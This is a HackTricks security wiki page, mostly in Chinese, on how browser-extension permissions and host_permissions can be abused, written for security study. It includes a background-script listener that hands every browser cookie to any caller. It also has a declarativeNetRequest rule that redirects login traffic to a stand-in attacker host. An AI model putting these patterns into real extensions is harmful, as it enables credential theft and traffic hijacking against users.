BrowExt - permissions & host_permissions

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

permissions

权限在扩展的 manifest.json 文件中通过 permissions 属性定义,允许访问浏览器几乎可以访问的所有内容(Cookies 或 Physical Storage):

上面的 manifest 声明该扩展需要 storage 权限。这意味着它可以使用 the storage API 持久化存储其数据。与提供某种程度用户控制的 cookies 或 localStorage APIs 不同,扩展的存储通常只能通过卸载扩展来清除

扩展会请求其 manifest.json 文件中列出的权限。安装扩展后,您可以在浏览器中随时检查其权限,如下图所示:

你可以在这里找到 complete list of permissions a Chromium Browser Extension can request here ,以及 Firefox 扩展的 complete list for Firefox extensions here

host_permissions

可选但功能强大的设置 host_permissions 指示扩展将能够通过诸如 cookies, webRequest, 和 tabs 等 API 与哪些主机交互。

下面的 host_permissions 基本上允许访问所有 web:

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

这些是浏览器扩展可以自由访问的主机。这是因为当浏览器扩展调用 fetch("https://gmail.com/") 时,它不受 CORS 限制。

Abusing permissions and host_permissions

Cookies

The cookies permission allows the extension to access all the cookies of the browser. In this blog post this permissions was abused through a vulnerable backdound script to abuse a browser extension to give the attacker all cookies of the browser of the victim user that accessed the malicious web page. The vulnerable code was just sending back all the cookies:

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

标签页

此外,host_permissions 还会解锁“高级” tabs API 功能。 它们允许扩展调用 tabs.query(),不仅能获取用户浏览器标签页列表,还可以获知哪个网页(地址和标题)已加载

Caution

不仅如此,像 tabs.onUpdated 这样的监听器也会变得更加有用。每当一个新页面在标签页中加载时,这些监听器都会收到通知。

运行内容脚本

内容脚本不必一定在扩展的 manifest 中静态声明。在拥有足够的 host_permissions 的前提下,扩展也可以通过调用 tabs.executeScript() scripting.executeScript() 动态加载它们。

这两个 API 不仅允许执行扩展内作为内容脚本的文件,还可以执行任意代码。前者允许以字符串形式传入 JavaScript 代码,而后者期望一个 JavaScript 函数——相对不那么容易导致注入漏洞。尽管如此,如果滥用,两个 API 都会造成严重破坏。

Caution

除了上述能力之外,内容脚本还可以例如在用户在网页输入时intercept credentials。另一个常见的滥用方式是在每个网站上injecting advertising。也可以通过添加scam messages来滥用新闻网站的可信度。最后,它们甚至可以manipulate banking网站以改道资金转账。

隐式权限

有些扩展权限不必显式声明。一个例子是 tabs API:其基本功能在没有任何权限的情况下也可访问。任何扩展都可以在你打开或关闭标签页时收到通知,只是它不会知道这些标签页对应哪个网站。

听起来太无害?tabs.create() API 就不那么无害。它可用于create a new tab,本质上和任何网站都可以调用的 window.open() 相同。然而 window.open() 会受到弹出窗口拦截器的限制,而 tabs.create() 不会。

Caution

扩展可以随时创建任意数量的标签页。

如果你查看 tabs.create() 的可能参数,你还会注意到它的能力远超 window.open() 所允许控制的范围。而且虽然 Firefox 不允许在这个 API 中使用 data: URI,但 Chrome 没有这样的保护。Use of such URIs on the top level has been banned due to being abused for phishing.

tabs.update()tabs.create() 非常相似,但会modify an existing tab。因此恶意扩展例如可以任意将一个广告页面加载到你的某个标签页中,并且可以激活相应的标签页。

摄像头、地理位置及相关功能

你可能知道网站可以请求特殊权限,例如访问你的摄像头(视频会议工具)或地理位置(地图)。这些功能具有相当大的滥用潜力,因此每次都需要用户确认是否仍然允许。

Caution

浏览器扩展则不是这样。If a browser extension wants access to your webcam or microphone,它只需要请求一次权限

通常,扩展会在安装后立即这么做。一旦该提示被接受,webcam access is possible at any time,即使用户此时没有与扩展交互也是如此。是的,用户通常只有在扩展确实需要摄像头时才会接受该提示。但在那之后,他们必须信任扩展不会偷偷录制任何内容。

如果扩展获得对 your exact geographical locationcontents of your clipboard 的访问,则完全无需显式授予权限。An extension simply adds geolocation or clipboard to the permissions entry of its manifest。这些访问权限在扩展安装时会被隐式授予。因此,拥有这些权限的恶意或被攻陷的扩展可以在你毫不知情的情况下创建你的行动轨迹或监视剪贴板中复制的密码。

在扩展 manifest 的 permissions entry 中添加 history 关键字会授予对 history API 的访问。它允许一次性检索用户的全部浏览历史,而无需等待用户再次访问这些网站。

bookmarks 权限具有类似的滥用潜力,它允许通过 bookmarks API 读取所有书签

存储权限

扩展存储只是一个键值集合,非常类似于任何网站都可以使用的 localStorage。因此不应在此处存储任何敏感信息。

然而,广告公司也可能滥用此存储。

更多权限

Manifest V3 将页面访问与 API 权限分离:permissions 仍然管辖受权 API(cookies、tabs、history、scripting 等),而 host_permissions 控制这些 API 可以访问的来源。MV3 还使主机权限可在运行时授予,因此扩展可以默认不声明任何主机权限,然后通过 chrome.permissions.request() 在之后弹出同意提示——这对合法的最小权限流程很方便,但也被恶意软件滥用以在建立声誉后升级权限。

一个隐蔽的变体是 declarativeNetRequestWithHostAccess (Chrome ≥96)。它提供与 declarativeNetRequest 相同的请求拦截/重定向能力,但在安装提示上比 <all_urls> 主机权限显示得更弱。恶意扩展利用它悄然获得“在任意站点阻断/重定向”的能力;可通过 chrome://extensions/?errorschrome://extensions/?id=<id> 来测试提示。

declarativeNetRequest 的动态规则允许扩展在运行时重新编程网络策略。在具有 <all_urls> 主机访问权限时,攻击者可以将其武器化用于劫持流量或数据外传。示例:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome 提高了 MV3 的规则限制(≈330k 静态 / 30k 动态),因此大规模的覆盖集可用于拦截/ads 注入。

最近的滥用模式

  • Supply-chain trojanized updates: 被盗的开发者账号推送 MV3 更新,添加 <all_urls> 以及 declarativeNetRequest/scripting/webRequest,以注入远程 JS 并窃取 headers/DOM 内容。
  • Wallet drains: 主机访问权限加上 storagetabs 允许被后门化的钱包扩展外传 seeds;被盗的 Web Store API keys 曾被用来发布恶意构建。
  • Cookie theft: 任何具有 cookies + 广泛主机访问权限的扩展都能读取认证 cookie,即使有 HttpOnly — 应将该组合视为具备凭证窃取能力。

预防

Google 的开发者政策明确禁止扩展请求超过其功能所需的权限,从而有效减轻了过度权限请求的风险。一个越界的例子是某扩展随浏览器预装发布,而不是通过插件商店分发。

浏览器可以进一步限制扩展权限的滥用。例如,Chrome 的 tabCapturedesktopCapture APIs(用于屏幕录制)被设计为降低滥用风险。tabCapture API 只能通过直接的用户交互激活,例如点击扩展图标;而 desktopCapture 则需要用户确认要录制的窗口,从而防止秘密录制活动。

然而,收紧安全措施往往会降低扩展的灵活性和易用性。activeTab permission 就是这种权衡的例子。该权限的引入是为了解除扩展必须请求全网主机权限的需求,使扩展在用户明确激活时仅能访问当前标签页。对于需要用户主动触发的扩展,这一模型很有效,但对于需要自动或预先执行操作的扩展则不适用,从而牺牲了便利性和即时响应能力。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks